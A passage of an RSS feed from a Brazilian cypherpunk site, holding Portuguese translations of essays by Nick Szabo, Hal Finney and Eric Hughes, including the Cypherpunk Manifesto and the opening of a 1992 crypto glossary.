imóvel controlaria os serviços públicos (eletricidade, água, etc.), desligando-os se o titular da garantia ou o proprietário assim escolherem, ou se o sistema for adulterado para tentar desativar o penhor.&lt;/p>
&lt;p>Como é o caso hoje, os problemas de crédito geralmente serão resolvidos por cartas de advertência ameaçadoras escritas de maneira habilidosa, bem como notas sobre a classificação de crédito de alguém, muito antes de a garantia precisar ser invocada. No entanto, a garantia precisa ser executável para tornar essas cartas de cobrança confiáveis no longo prazo.&lt;/p>
&lt;p>Se os APs têm a responsabilidade final pelas atividades criminosas de seus clientes, ou precisam garantir a falta de deserção ou pagamentos futuros por parte dos clientes, eles podem, por sua vez, pedir gravames contra seus clientes. Seja com termos contratuais que permitam a prisão de clientes sob certas condições (por exemplo, se eles cometerem atos especificados como criminosos pelo contrato de AP) ou por meio de garantias inteligentes contra ativos líquidos, como contas bancárias e carteiras de investimento (mais provavelmente para clientes nômades e clientes virtuais usando pseudônimos). As garantias inteligentes sobre informações, como títulos ao portador digitais, podem ser implementadas por meio de &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/secret.html" target="_blank" rel="noopener noreferrer">compartilhamento secreto&lt;/a>
(duas ou mais chaves necessárias para desbloquear a criptografia).&lt;/p>
&lt;p>A &amp;ldquo;garantia final&amp;rdquo; seria uma espécie de anti-marcapasso cardíaco controlado pelo portador de segurança. Os clientes de AP provavelmente rejeitariam APs com tal exigência ultrajante, e seria ainda mais nojento para um governo propor tal coisa. No entanto, pode-se imaginar os próprios líderes de AP obrigados a ter garantias finais, controladas por um sistema de votação N-out-of-M de seus clientes e / ou APs estrangeiras com contratação cruzada, como uma proteção contra seu poder. As garantias finais talvez conflitem com o imperativo moral que muitos veem por trás do governo limitante, a eliminação da violência e a ameaça de violência no tecido de nossa sociedade, mas se implementadas apenas contra a AP e líderes do governo, elas ainda podem fornecer uma grande melhoria em relação o estado atual das coisas.&lt;/p>
&lt;p>Outras áreas importantes de responsabilidade incluem responsabilidade do consumidor e danos à propriedade (incluindo poluição). São necessários mecanismos para que, por exemplo, os danos causados pela poluição a pessoas ou propriedades alheias possam ser avaliados, e existam gravames para que o poluidor seja devidamente cobrado e as vítimas pagas. Onde a poluição é quantificável, como acontece com as emissões de SO2, os mercados podem ser configurados para negociar direitos de emissão. As APs teriam gravames em vigor para monitorar as emissões de seus clientes e avaliar as taxas onde os direitos de emissão foram excedidos.&lt;/p>
&lt;p>Infelizmente, existem alguns perigos em que o dano máximo pode ultrapassar qualquer ônus. Uma boa regra prática aqui é que se o risco for contra um terceiro e não puder ser penhorado ou segurado, os APs não devem permitir que seja assumido. As APs que permitem que seus clientes assumam tais riscos contra terceiros não-AP arruinariam sua classificação de crédito. Um exemplo desse risco é a construção de uma usina nuclear para a qual nenhuma seguradora está disposta a apresentar cobertura de responsabilidade. Se uma planta é segura, presumivelmente deve-se ser capaz de convencer uma boa seguradora a cobrir seu potencial de danos à propriedade de terceiros.&lt;/p>
&lt;p>As garantias inteligentes são um elemento dos contratos inteligentes. Os contratos inteligentes irão substituir, e até mesmo proteger contra, advogados, políticos e aplicação violenta em muitas empresas e interações sociais. Eles também serão usados para projetar novas instituições de livre mercado lucrativas. Veja meu ensaio Contratos inteligentes para uma introdução aos &lt;a href="contratos-inteligentes.md">contratos inteligentes&lt;/a>
.&lt;/p>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart.liens.html" target="_blank" rel="noopener noreferrer">Smart Liens&lt;/a>
&lt;/p></content:encoded></item><item><title>Dinheiro Digital e Privacidade</title><link>https://cypherpunks.com.br/documentos/dinheiro-digital-e-privacidade/</link><pubDate>Thu, 19 Aug 1993 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/dinheiro-digital-e-privacidade/</guid><description>Eu concordo com o anônimo que existem problemas com o uso real do dinheiro digital no curto prazo. Mas isso depende, até certo ponto, do problema que você está tentando resolver.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="hal-finney">Hal Finney&lt;/h3>
&lt;h4 id="19-de-agosto-de-1993">19 de Agosto de 1993&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Eu concordo com o anônimo que existem problemas com o uso real do dinheiro digital no curto prazo. Mas isso depende, até certo ponto, do problema que você está tentando resolver.&lt;/p>
&lt;p>Uma preocupação que tenho é que a mudança para pagamentos eletrônicos diminuirá a privacidade pessoal, facilitando o registro e registro de transações. Dossiês poderiam ser construídos para rastrear os padrões de gastos de cada um de nós.&lt;/p>
&lt;p>Agora, quando encomendo algo pelo telefonem ou eletronicamente usando meu cartão Visa, é mantido um registro de exatamente quanto gastei e onde gastei. Conforme o tempo passa, mais transações podem ser feitas dessa maneira, e o resultado líquido pode ser uma grande perda de privacidade.&lt;/p>
&lt;p>Pagar em dinheiro ainda é possível pelo correio, mas é inseguro e inconveniente. Acredito que a conveniência dos cartões de crédito e débito superará as preocupações de privacidade da maioria das pessoas e que nos encontraremos em uma situação em que existem grandes volumes de informações sobre a vida privada das pessoas.&lt;/p>
&lt;p>Este é um lugar onde eu pude ver o dinheiro digital desempenhando um papel. Imagine um sistema semelhante ao Visa, no qual não sou anônimo para o banco. Nesse modelo, imagine que o banco esteja concedendo crédito semelhante a um cartão de crédito. Mas em vez de me dar apenas um número de conta que eu leio pelo telefone ou envio uma mensagem de e-mail, me dá o direito de solicitar dinheiro digital sob demanda.&lt;/p>
&lt;p>Eu guardo dinheiro digital e gasto para transações, como descrevi em meus posts anteriores. Quando estou com problemas, envio alguns e-mails para o banco e recebo mais um dinheiro digital. Todo mês eu envio um cheque para o banco para cobrir minha conta, assim como faço com meus cartões de crédito. As minhas relações com o banco são muito semelhantes às minhas relações atuais com as empresas de cartão de crédito: retiradas frequentes e um único pagamento mensalmente por cheque.&lt;/p>
&lt;p>Isto tem várias vantagens sobre o sistema para o qual estamos caminhando. Não há registros de onde eu gasto meu dinheiro. Tudo que o banco sabe é o quanto eu me retiro a cada mês; Eu posso ou não ter gasto isso naquele momento. Para algumas transações (por exemplo, software) eu poderia ser anônimo para o fornecedor; para outros, o fornecedor pode saber o meu endereço real, mas mesmo assim nenhum lugar é capaz de rastrear tudo o que eu compro centralizadamente.&lt;/p>
&lt;p>(Há também uma vantagem de segurança sobre o ridículo sistema atual em que conhecer um número de 16 dígitos e uma data de expiração permite que qualquer um peça qualquer coisa em meu nome!)&lt;/p>
&lt;p>Além disso, não vejo por que esse sistema não pode ser tão legal quanto os cartões de crédito atuais. Tudo o que realmente difere neste sistema é a incapacidade de rastrear onde os usuários gastam seu dinheiro e, até onde eu sei, essa capacidade nunca foi um aspecto legal importante dos cartões de crédito. Certamente ninguém admitirá hoje que o governo tem interesse em se mover em direção a um ambiente no qual todas as transações financeiras são rastreadas.&lt;/p>
&lt;p>Mesmo concedido, isso não fornece anonimato completo. Ainda é possível ver mais ou menos quanto cada pessoa gasta (embora nada impeça uma pessoa de sacar muito mais dinheiro do que gastaria em determinado mês, exceto talvez para despesas de juros; mas talvez ele possa emprestar o dinheiro digital extra e ganhar interesse nisso para compensar). E é orientado em torno do mesmo modelo de cliente-fornecedor que o anônimo criticou. Mas eu sustento que este modelo representa a maioria das transações eletrônicas, hoje e no futuro próximo.&lt;/p>
&lt;p>É importante notar que não é trivial se tornar um comerciante que aceita cartões de crédito. Eu passei por isso com um negócio que eu tinha alguns anos atrás. Estávamos vendendo software por correspondência, e isso deixa as empresas de cartão de crédito muito nervosas. Há tanta fraude telefônica na qual os números de cartão de crédito são acumulados ao longo de alguns meses e, em seguida, grandes quantias de cobranças feitas contra eles. No momento em que o usuário recebe sua declaração mensal e reclama, o fornecedor desapareceu. A fim de obter o nosso terminal de cartão de crédito, fomos a uma empresa que &amp;ldquo;ajuda&amp;rdquo; as startups com isso. Eles pareciam muito sombrios. Tivemos que falsificar nossa inscrição para dizer que venderíamos algo como 50% das unidades em feiras de negócios, que aparentemente contavam como vendas no mercado de balcão. E nós tivemos que pagar cerca de 3 mil dólares na frente, aparentemente como um suborno. Mesmo assim, provavelmente não poderíamos ter feito isso se não tivéssemos um escritório no distrito comercial.&lt;/p>
&lt;p>Sob o sistema de dinheiro digital, isso pode ser um problema menor. O principal problema com o dinheiro digital é o gasto duplo, e se você estiver disposto a arcar com a verificação on-line (razoável para qualquer empresa que vai levar mais de algumas horas para entregar a mercadoria), isso pode ser completamente evitado. Portanto, não há mais a possibilidade de os comerciantes coletarem números de cartão de crédito para fraudes posteriores. (Você ainda tem problemas com a não entrega de mercadorias, portanto, nem todos os riscos são eliminados.) Isso pode eventualmente tornar o sistema mais amplamente disponível do que os cartões de crédito atuais.&lt;/p>
&lt;p>Não sei se esse sistema pode ser usado para apoiar ações ilegais, evasão fiscal, jogos de azar ou qualquer outra coisa. Esse não é o propósito desta proposta. Ele oferece a perspectiva de melhorar a privacidade e a segurança pessoal, em uma estrutura que pode até ser legal, e isso não é ruim.&lt;/p>
&lt;p>Hal Finney&lt;br>
&lt;em>hal@rain.org&lt;/em>&lt;/p>
&lt;p>&lt;a href="http://finney.org/~hal/" target="_blank" rel="noopener noreferrer">Pagina de Hal Finney&lt;/a>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/digital-cash-and-privacy/" target="_blank" rel="noopener noreferrer">Digital Cash &amp;amp; Privacy - Hal Finney&lt;/a>
&lt;/p></content:encoded></item><item><title>O Manifesto Cypherpunk</title><link>https://cypherpunks.com.br/documentos/o-manifesto-cypherpunk/</link><pubDate>Tue, 09 Mar 1993 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-manifesto-cypherpunk/</guid><description>Privacidade é necessário para uma sociedade aberta na Era da eletrônica. Privacidade não é segredo. Um assunto privado é algo que não queremos que o mundo inteiro saiba, entretanto um assunto secreto é algo que não queremos que ninguém saiba. A privacidade é o poder de se revelar seletivamente para o mundo.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="eric-hughes">Eric Hughes&lt;/h3>
&lt;p>&lt;!-- raw HTML omitted -->9 de março de 1993&lt;!-- raw HTML omitted -->
&lt;/p>
&lt;p>Privacidade é necessário para uma sociedade aberta na Era da eletrônica. Privacidade não é segredo. Um assunto privado é algo que não queremos que o mundo inteiro saiba, entretanto um assunto secreto é algo que não queremos que ninguém saiba. A privacidade é o poder de se revelar seletivamente para o mundo.&lt;/p>
&lt;p>Se duas partes tiverem algum tipo de negociação, cada uma delas terá uma lembrança desta interação. Se cada um dos lados envolvidos resolver falar sobre suas memórias deste assunto, como alguém poderia proibir isso? Poderia ser aprovada alguma lei contra isto, porém a liberdade de expressão, muito além da privacidade, é fundamental para uma sociedade aberta; nós procuramos não restringir o discurso de ninguém. Caso muitas pessoas falem ao mesmo tempo em um determinado fórum, cada uma pode falar de maneira igual com todas as outras e agregar juntos conhecimento sobre indivíduos e outros aspectos. O poder das comunicações eletrônicas habilitou o discurso de grupo, e o mesmo não irá desaparecer somente por querermos que assim acontecesse.&lt;/p>
&lt;p>Como desejamos privacidade, temos que assegurar que cada parte de uma transação tenha conhecimento somente do que é necessário para o funcionamento da mesma. Desde que uma informação possa ser falada, devemos garantir que será revelado o mínimo possível. Na maioria dos casos a identidade pessoal não é relevante. Quando compro uma revista em uma loja com o dinheiro na mão, não há necessidade de saber quem eu sou. Quando realizo uma requisição para meu provedor de e-mail que receba e envie mensagens, meu provedor não precisa saber com quem estou conversando ou o que estou dizendo ou o que outros estão dizendo para mim; meu provedor só precisa saber como entregar minha mensagem ao local correto e quanto isso custará de taxas para mim. Quando minha identidade é revelada pelo mecanismo da transação, não tenho privacidade. Eu não posso aqui me revelar seletivamente; eu devo sempre me revelar.&lt;/p>
&lt;p>Portanto, a privacidade em uma sociedade aberta requer sistemas de transação anônimos. Até agora, o dinheiro tem sido o principal sistema desse tipo. Um sistema de transação anônima não é um sistema de transação secreta. Um sistema anônimo permite que os indivíduos revelem sua identidade quando desejado e somente quando desejado; esta é a essência da privacidade.&lt;/p>
&lt;p>A privacidade em uma sociedade aberta também requer criptografia. Se eu disser algo, eu quero que seja escutado somente por quem eu desejo que seja escutado. Se o conteúdo do meu discurso for ouvido pelo mundo, eu não tenho privacidade. A criptografia é o indicador do desejo de privacidade, e a criptografia de forma fraca indica que não há muito desejo pela privacidade. Além disso, para revelar a identidade de um indivíduo com segurança quando o padrão é ser anônimo requere que seja no formato de uma assinatura criptografada.&lt;/p>
&lt;p>Nós não podemos esperar governos, corporações, ou outras grandes organizações sem rosto nos garanta a privacidade por sua bondade. É vantajoso para eles falar de nós e esperamos que falem. Tentar prevenir o discurso deles é lutar contra as realidades da informação. Informação não deseja apenas ser livre, ela deve ser livre. Informação se expande para preencher o espaço disponível. Informação é a prima mais jovem e forte do Rumor; informação é frágil, tem mais olhos, sabe mais e entende menos que o Rumor.&lt;/p>
&lt;p>Nós devemos defender nossa própria privacidade se esperamos possuir alguma. Devemos agir juntos para criar sistemas que permitem transações anônimas para tomar o lugar. As pessoas vêm defendendo a sua própria privacidade por séculos com sussurros, escuridão, envelopes, portas fechadas, apertos de mão secretos e mensageiros. As tecnologias do passado não permitiam uma privacidade forte, mas as tecnologias eletrônicas permitem.&lt;/p>
&lt;p>Nós, os Cypherpunks, somos dedicados a construir sistema anônimos. Nós defendemos nossa própria privacidade com criptografia, com sistemas avançados de e-mail anônimos, com assinaturas digitais, com dinheiro eletrônico.&lt;/p>
&lt;p>Cypherpunks escrevem códigos. Nós sabemos que alguém deve escrever códigos que garantem a privacidade, e desde que nós não conseguimos a privacidade a menos que façamos isso, nós vamos escrever a privacidade. Nós publicamos o nosso código para nossos parceiros Cypherpunks poderem praticar e atuar com ele. Nosso código é livre para que todos possam fazer uso dele, o mundo todo. Nós não nos importamos muito se você não aprova o código que escrevemos. Nós sabemos que nosso software não pode ser destruído e que um sistema amplamente distribuído não pode ser desativado.&lt;/p>
&lt;p>Cypherpunks não se importam com regulamentos sobre a criptografia, pois a mesma por si só é um ato privado. O ato de cifrar, de fato, remove a informação do conhecimento público. Mesmo leis sobre a criptografia só chegam longe o bastante da fronteira da nação e seu escopo de atuação e violência. Criptografia irá se espalhar para todo o mundo e com ela as possibilidades de existir sistemas de transações anônimas que a mesma possibilita.&lt;/p>
&lt;p>Para que a privacidade seja difundida, deve fazer parte de um contrato social. Pessoas devem se unir e criar sistemas para que isso se dê para o bem comum. Privacidade só chega longe o bastante até o ponto de cooperação da sociedade. Nós Cypherpunks procuramos suas questões e preocupações, na esperança de envolvê-lo para buscar uma solução e para que não nos enganemos. Nós não vamos, entretanto, ser movidos para fora do nosso curso porque alguns não concordam com os objetivos.&lt;/p>
&lt;p>Os Cypherpunks estão engajados ativamente na tarefa de manter as redes seguras para a privacidade. Vamos juntos prosseguir em ritmo acelerado.&lt;/p>
&lt;p>Para frente.&lt;/p>
&lt;p>Eric Hughes&lt;/p>
&lt;p>&lt;strong>Versão em vídeo:&lt;/strong>&lt;/p>
&lt;iframe id="lbry-iframe" width="560" height="315" src="https://odysee.com/$/embed/o-manifesto-cypherpunk-por-eric-hughes/9fd544bd69ba5205b7605812971eb739fc8b78e1?r=6AWFiSHRX7ZYz8zPkJzrGE6Rb8JShq57" allowfullscreen>&lt;/iframe></content:encoded></item><item><title>Pequenas e Médias Empresas Multinacionais</title><link>https://cypherpunks.com.br/documentos/pequenas-e-medias-empresas-multinacionais/</link><pubDate>Fri, 01 Jan 1993 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/pequenas-e-medias-empresas-multinacionais/</guid><description>No futuro, a distribuição de tamanho das multinacionais se aproximará das empresas locais. A mudança de fase entre esses estados pode ser bastante rápida, uma vez que os custos de telecomunicações e transporte passam por um "ponto de fusão", criando uma grande variedade de novas pequenas empresas multinacionais e indústrias para apoiar …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="1993">1993&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Atualmente, a grande maioria das empresas do planeta é pequena, mas a grande maioria dos negócios multinacionais é conduzida por grandes corporações.&lt;/p>
&lt;p>No futuro, a distribuição de tamanho das multinacionais se aproximará das empresas locais. A mudança de fase entre esses estados pode ser bastante rápida, uma vez que os custos de telecomunicações e transporte passam por um &amp;ldquo;ponto de fusão&amp;rdquo;, criando uma grande variedade de novas pequenas empresas multinacionais e indústrias para apoiar esses negócios.&lt;/p>
&lt;p>Barreiras para pequenos negócios multinacionais incluem&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://freenet.vcu.edu/science/lawtech/intl.html" target="_blank" rel="noopener noreferrer">legal: labirinto proibitivamente complexo de jurisdições&lt;/a>
&lt;/li>
&lt;li>idioma/cultura&lt;/li>
&lt;li>custos de telecomunicações&lt;/li>
&lt;li>custos de transportes&lt;/li>
&lt;/ul>
&lt;p>Tanto os custos de transporte quanto de telecomunicação se tornaram sem precedentes baixos, e com os custos de telecomunicação de fibra ótica, as ordens de magnitude cairão ainda mais.&lt;/p>
&lt;p>Pequenas empresas podem cortar o &lt;a href="http://www.replay.com/cpunk/cptext.html" target="_blank" rel="noopener noreferrer">Nó górdio das jurisdições&lt;/a>
com as tecnologias de independência jurisdicional, incluindo forte criptografia para comunicações e bancos de dados, caixa digital, firewalls, prevenção de tráfego com servidores proxy e mixes digitais e outras medidas de segurança do sistema. Para que o uso desses recursos se torne rotineiro, eles devem ser disponibilizados de maneira contínua nos equipamentos e softwares de telecomunicações usados ​​pelas pequenas empresas. Em suas transações comerciais, as empresas lidam cada vez mais com arbitradores de disputas específicas do setor, em vez de jurisdições jurídicas tradicionais, e as informações de auditoria das transações serão compartilhadas apenas entre as partes necessárias para resolver a disputa. As empresas aprenderão a compartilhar as informações necessárias para atrair investimentos e vendas, apenas para aqueles investidores e clientes, sem comprometer seu status legal em qualquer mercado importante no labirinto de jurisdições obscuras nas quais operam. As empresas que primeiro trazem essas capacidades para pequenas empresas internacionais. as empresas a preços acessíveis conseguem colher grandes fortunas. O novo paradigma dos &lt;a href="http://szabo.best.vwh.net/smart.contracts.html" target="_blank" rel="noopener noreferrer">contratos inteligentes&lt;/a>
pode fornecer a base para a construção dessas ferramentas.&lt;/p>
&lt;p>Uma vez que a independência jurisdicional é conquistada, as pequenas empresas têm oportunidades quase infinitas de arbitrar entre os pontos fortes e fracos relativos de várias localidades em vários aspectos de seus negócios, da mesma forma que as multinacionais atualmente aproveitam os encargos regulatórios relaxados e os baixos custos trabalhistas nos países do Terceiro Mundo. A intervenção do governo provavelmente custa à economia global mais de 3 trilhões de dólares anualmente; assim, vastos mercados aguardam para serem rompidos ao curto-circuito na intervenção dos governos nos mercados macro e micro.&lt;/p>
&lt;p>Idioma e cultura podem permanecer as maiores barreiras. Temos dois métodos de ataque:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>A ascensão das nações virtuais. Pequenas empresas multinacionais podem falar inglês, japonês, mandarim, etc. Seus funcionários podem viver principalmente em um único ambiente cultural, dispersos por um grande número de pequenas comunidades étnicas em todo o mundo, mantendo ligações de comunicação multimídia específicas entre as comunidades. As redes mundiais de negócios Anglo, Japonês e Mandarim serão ocupadas por outras culturas e fisicamente dispersas na maioria dos casos.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Software de tradução de idiomas. Versões especializadas poderão em breve ser confiáveis, convenientes e baratas o suficiente para muitos tipos de usos de pequenas empresas, como a tradução de manuais técnicos.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Inglês está se tornando cada vez mais, &lt;em>de fato&lt;/em>, uma linguagem para negócios e tecnologia.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Uma questão interessante é que pequenas mudanças podem trazer a mudança de fase mais rapidamente. Algo tão simples quanto um sistema de teleconferência de voz amigável ao usuário pode ser o suficiente para derrubar os pingüins na água. Ou pode ser o acesso generalizado à Internet com conexões TCP / IP criptografadas e combinadas por rota e lousas virtuais.&lt;/p>
&lt;p>Outra questão interessante em qualquer nova tendência importante é quais serão os pontos de estrangulamento. Com o PC clonável, as CPUs da Intel e o DOS da Microsoft acabaram sendo os únicos elementos proprietários, com montagem, unidades de disco, terminais e similares altamente competitivos. A riqueza fluirá para os negócios que fornecem as ferramentas de gargalo para a próxima explosão em pequenos negócios multinacionais.&lt;/p>
&lt;p>O outro lado da pequena empresa multinacional é a criação de &lt;a href="http://web.gmu.edu/departments/cmp/CMBM/CMBM.html" target="_blank" rel="noopener noreferrer">processos de mercado internos à grande corporação multinacional&lt;/a>
.&lt;/p>
&lt;hr>
&lt;p>Por favor, envie seus comentários para &lt;a href="http://nszabo.law.gwu.edu" target="_blank" rel="noopener noreferrer">nszabo.law.gwu.edu&lt;/a>
&lt;/p>
&lt;p>Direito Autoral © 1997, 1999 by Nick Szabo&lt;br>
Permissão para redistribuir sem alteração anteriormente concedida&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/multi.small.html" target="_blank" rel="noopener noreferrer">Multinational Small Business - Nick Szabo&lt;/a>
&lt;/p></content:encoded></item><item><title>Cripto Glossário</title><link>https://cypherpunks.com.br/documentos/criptoglossario/</link><pubDate>Sun, 22 Nov 1992 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/criptoglossario/</guid><description>Aqui está o glossário de termos de criptografia que divulgamos em formato impresso na primeira reunião da Cypherpunks em Setembro de 1992. Algumas concessões tiveram que ser feitas indo do impresso para o ASCII dessa transmissão, então espero que você tenha paciência comigo.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="timothy-c-may-e-eric-hughes">Timothy C. May e Eric Hughes&lt;/h3>
&lt;p>22 de novembro de 1992
&lt;/p>
&lt;pre tabindex="0">&lt;code>De: tcmay@netcom.com (Timothy C. May)
Assunto: Cripto Glossário
Data: Sun, 22 Nov 92 11:50:55 PST
&lt;/code>&lt;/pre>&lt;p>Aqui está o glossário de termos de criptografia que divulgamos em formato impresso na primeira reunião da Cypherpunks em Setembro de 1992. Algumas concessões tiveram que ser feitas indo do impresso para o ASCII dessa transmissão, então espero que você tenha paciência comigo.&lt;/p>
&lt;p>Estou enviando para a lista inteira, porque quase todo mundo que ouve sobre isso diz: &amp;ldquo;Está online?&amp;rdquo; e quer uma cópia. Se você não quiser, descarte-o.&lt;/p>
&lt;p>Eu não vou manter o &amp;ldquo;Cypherpunks FAQ&amp;rdquo;, então não me envie correções ou sugestões.&lt;/p>
&lt;p>Apreciem!&lt;/p>
&lt;p>Tim May&lt;/p>
&lt;h4 id="principais-tópicos-da-criptologia-segundo-minha-opinião">Principais Tópicos da Criptologia (segundo minha opinião)&lt;/h4>
&lt;p>(estas seções introduzirão os termos no contexto, embora as definições completas não sejam dadas)&lt;/p>
&lt;table style="border-collapse: collapse; border: none;">
&lt;tbody style="border-collapse: collapse; border: none;">
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>Criptografia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 335.6px; text-align: justify;">Privacidade de mensagens usando cifras e códigos para proteger o sigilo de mensagens. DES é a cifra simétrica mais comum (mesma chave para cifragem e decifragem). RSA é a cifra assimétrica mais comum (chaves diferentes para cifrar e decifrar).&lt;/td>
&lt;/tr>
&lt;tr style="vertical-align: top; border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>Assinaturas e Autenticação&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 335.6px;">Prova quem você é Prova que você assinou um documento (e não outra pessoa)&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>E-mail irrastreável&lt;b>&lt;/td>
&lt;td style="border-collapse: collapse; border: none; width: 335.6px;">Envio e recebimento de mensagens e emails não rastreáveis. Foco: derrotar os bisbilhoteiros e análise de tráfego. Uso do protocolo DC (dining cryptographers)&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>Voto Criptográfico&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 335.6px;">Foco: anonimato na urna, credenciais para votar, questões de dupla votação, segurança, robustez, eficiência.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>Dinheiro Digital&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 335.6px;">Foco: privacidade em transações, compras, credenciais não vinculáveis, notas blindadas. "Moedas digitais" podem não ser possíveis.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 236.4px;">&lt;b>Cripto Anarquia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 335.6px;">Usa as coisas descritas acima para evadir do governo, para ignorar a coleta de impostos, etc. Uma solução tecnológica para o problema do excesso de governo.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2> &lt;b>Glossário&lt;/b> &lt;/h2>
&lt;table style="border-collapse: collapse; border: none;">
&lt;tbody style="border-collapse: collapse; border: none;">
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Sistemas agoristas&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">sistemas abertos de livre mercado nos quais as transações voluntárias são centrais.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Alice e Bob&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">protocolos criptográficos são freqüentemente explicados considerando-se as partes A e B, ou Alice e Bob, realizando algum protocolo. Eva, a bisbilhoteira, Paulo, o provador, e Victor, o verificador, são outros nomes substitutos comuns.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>ANDOS&lt;b>&lt;/td>
&lt;td style="border: none; border-collapse: collapse; width: 334.367px; text-align: justify;">tudo ou nada - divulgação de segredos.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>credencial anônima&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">uma credencial que afirma algum direito, privilégio ou fato sem revelar a identidade do titular. Isso é diferente das licenças de dirigir da Califórnia&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>cifra assimétrica&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">mesma coisa que criptografia de chave pública.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>autenticação&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">processo de verificação de uma identidade ou credencial, para garantir que você é quem você disse que era.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>segurança biométrica&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">um tipo de autenticação usando impressões digitais, exames de retina, impressões palmares ou outras assinaturas físicas / biológicas de um indivíduo.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
